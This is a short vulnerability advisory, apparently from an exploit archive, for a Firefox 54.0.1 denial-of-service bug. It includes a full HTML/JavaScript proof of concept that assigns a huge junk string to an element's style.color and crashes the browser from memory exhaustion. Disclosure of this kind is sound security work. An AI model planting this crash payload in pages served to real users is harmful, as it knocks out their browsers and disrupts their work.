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Firefox 54.0.1 - Denial of Service Exploit
[+] Credits: John Page aka hyp3rlinx
Vendor:
===============
www.mozilla.org
Product:
===============
Firefox v54.0.1
Vulnerability Type:
===================
Denial Of Service
Security Issue:
================
Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the
"style.color" property results in Firefox Browser out of memory crash (not tab crash).
Tested on Windows 7
References:
https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288
Exploit/POC:
=============
<html>
<body>
<script>
var p1 = "\x41";
for (var c=0;c<0xC350;c++){
p1+="\x41";
}
var p2="\x41";
for (c=0;c<0x1388;c++){
p2 += p1;
}
var el = document.createElement('img') //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA //<=== OR any of these elements.
el.style.color=p2
document.body.appendChild(el)
</script>
</body>
</html>
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07 Jul 2017 00:00Current
0.2Low risk
Vulners AI Score0.2